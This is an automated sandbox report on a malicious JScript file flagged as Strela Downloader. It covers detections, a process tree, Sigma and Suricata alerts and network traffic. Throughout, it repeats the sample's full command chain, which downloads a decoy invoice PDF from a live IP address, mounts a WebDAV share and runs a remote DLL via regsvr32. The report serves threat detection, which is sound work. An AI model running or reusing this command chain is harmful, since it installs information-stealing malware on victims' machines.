Edit tour

Windows Analysis Report
20891229701394327174.js

Overview

General Information

Sample name:	20891229701394327174.js
Analysis ID:	1588618
MD5:	95f8933926a0f1f4e260e4d58d344494
SHA1:	9c855b2ff5b288f661ce5ea61eabd2aa4177ad69
SHA256:	a4d08282d4e96c5f1c264ab48b02cdfc2ae8a90163a4ba2e725a8d44153a0b77
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6280 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20891229701394327174.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6540 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6564 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4488 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5332 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1060 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7272 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1760,i,9706373503848865573,6522730053211814675,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6252 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2756 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6096 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6280	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6540, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4488, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6540, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4488, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20891229701394327174.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20891229701394327174.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20891229701394327174.js", ProcessId: 6280, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2756, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20891229701394327174.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6280, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, ProcessId: 6540, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20891229701394327174.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6280, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, ProcessId: 6540, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20891229701394327174.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6280, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, ProcessId: 6540, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20891229701394327174.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6280, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, ProcessId: 6540, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20891229701394327174.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6280, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, ProcessId: 6540, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20891229701394327174.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20891229701394327174.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20891229701394327174.js", ProcessId: 6280, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6540, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4488, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6252, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2756, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6096, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6252, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2756, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20891229701394327174.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6280, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll, ProcessId: 6540, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:14:38.923838+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:14:41.472465+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:14:38.923838+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 20891229701394327174.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 20891229701394327174.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:14:38 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
